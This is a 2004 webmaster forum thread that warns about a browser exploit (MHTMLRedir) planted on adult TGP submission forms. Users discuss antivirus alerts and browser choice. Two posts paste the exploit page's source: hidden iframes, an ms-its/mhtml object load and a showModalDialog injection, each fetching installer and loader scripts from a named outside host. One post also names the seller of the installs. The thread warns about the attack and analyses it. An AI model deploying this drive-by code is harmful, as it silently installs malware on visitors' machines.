Attention! Exploits found on TGP submit forms!

**dimonka** · 08-26-2004, 11:10 AM

Bump.... seems like noone cares about viruses... let it be

**sixxxthsense** · 08-26-2004, 11:11 AM

we just dont use IE!

**bringer** · 08-26-2004, 11:12 AM

Virus Found!
Virus name: MHTMLRedir.Exploit

virii are cool

**Aquarius** · 08-26-2004, 11:12 AM

I noticed it today, AVG went off when I load the form.

**Aquarius** · 08-26-2004, 11:13 AM

Originally posted by sixxxthsense
we just dont use IE!

I was using FireFox.

**dimonka** · 08-26-2004, 11:13 AM

Originally posted by sixxxthsense
we just dont use IE!

Lot of submission tools do though...

**Steve** · 08-26-2004, 11:13 AM

Yeah, dont bother contacting the site owner, to let him know about it. Just delete the fuckers!

**SmokeyTheBear** · 08-26-2004, 11:13 AM

the exploit is http://www.vesbiz.biz/adverts/05/1.htm

**johndoebob** · 08-26-2004, 11:14 AM

Thanks for the warning.Does your submitter come with it's own database or do you have to add all the TGPs yourself?

**SmokeyTheBear** · 08-26-2004, 11:15 AM

the owners possibly dont know about this exploit and its a virus that adds the iframe to every page on the server..

**dimonka** · 08-26-2004, 11:15 AM

Originally posted by johndoebob
Thanks for the warning.Does your submitter come with it's own database or do you have to add all the TGPs yourself?

We currently have about 980 TGP sites in default database for our users. Trying to keep the quality, not numbers.

**SmokeyTheBear** · 08-26-2004, 11:18 AM

hahahahahahahaha language="hahahahahahahahahaha">
var lang = navigator.systemLanguage;
if (lang hahahaha "ru") document.location = "home.html";
</hahahahahahahaha
<html>
hahahahahaha>
<title></title>
</head>
<body>
<applet CODE="BlackBox.class" width=1 height=1></APPLET>
hahahahahahahaha data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.vesbiz.biz//adverts//05//main.chm::/main.htm" type="text/x-scriptlet"></object>
<iframe src="http://www.vesbiz.biz/adverts/05/jss/installer.htm" width=1 height=1></iframe>
</body>
</html>

**SmokeyTheBear** · 08-26-2004, 11:20 AM

this is an old exploit. I dont think it even works anymore. Update your pc

**SmokeyTheBear** · 08-26-2004, 11:21 AM

<html>
<body>

hahahahahahahaha language="hahahahahahahahahaha">

function InjectedDuringRedirection(){
_showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialogHeight:1\;dialogWidth:1\;").location= "hahahahahahahahahaha:'hahahahahahahaha SRC=\\'http://www.vesbiz.biz/adverts/05/jss/shellscript_loader.js\\'><\/hahahahahahahaha'";
}

</hahahahahahahaha

hahahahahahahaha language="hahahahahahahahahaha">

setTimeout("myiframe.execScript(InjectedDuringRedi rection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRed irection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.php" WIDTH=200 HEIGHT=200></IFRAME>');

</hahahahahahahaha

</body>
</html>

**Basic_man** · 08-26-2004, 11:21 AM

Originally posted by dimonka
Bump.... seems like noone cares about viruses... let it be

I CARE ! Thanks mate !

**Broda** · 08-26-2004, 11:27 AM

Who cares. Anyone using a browser when submitting is wasting his time anyway.

And most of those sites haven't listed shit in ages, so why submit to them in the first place ;)

**fr8** · 08-26-2004, 11:29 AM

Originally posted by sixxxthsense
we just dont use IE!

Some of use dont even use windows.

Mozilla is where its at.

**Dirty F** · 08-26-2004, 11:30 AM

Originally posted by bringer
Virus Found!
Virus name: MHTMLRedir.Exploit

virii are cool

Viruses.

**SmokeyTheBear** · 08-26-2004, 11:33 AM

Originally posted by Broda
Who cares. Anyone using a browser when submitting is wasting his time anyway.

And most of those sites haven't listed shit in ages, so why submit to them in the first place ;)

LOL this might be a little biased since you are advertising a tgp submit service.

HandSubmits are still rocking...

BTW to those wondering. after doing a little research on that virus/exploit, i notice the page its hosted on has this on the main domain

www.vesbiz.biz

We are buy iframe traffic, 20$\1k installs
ICQ: 116995240

on each of those pages you specified has an iframe with the exploit from them in it.

**SmokeyTheBear** · 08-26-2004, 11:35 AM

cliff notes, contact that icq number , they put the virus/exploit on that page. ( or paying the person who is , but as there is no tracking code im assuming its him/her )

**Broda** · 08-26-2004, 11:37 AM

Sure, it's biased.

But seems everyone overlooks the relevency in my post.

Who the fuck gives a flying fuck about those tgps mentioned in that list?

Not one of them has listed a single submitted gallery in ages, so only an idiot would ever spend time on visiting those submit form urls ;)

**SmokeyTheBear** · 08-26-2004, 11:40 AM

Originally posted by Broda

Who the fuck gives a flying fuck about those tgps mentioned in that list?

Not one of them has listed a single submitted gallery in ages, so only an idiot would ever spend time on visiting those submit form urls ;)

this is true

but let the newbs learn this themselves

**Brinner** · 08-26-2004, 12:10 PM

Symantec Anti-Virus.

**Doctor Dre** · 08-26-2004, 08:26 PM

Originally posted by sixxxthsense
we just dont use IE!

what he said :P viva firefox

Attention! Exploits found on TGP submit forms!

Attention! Exploits found on TGP submit forms!

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment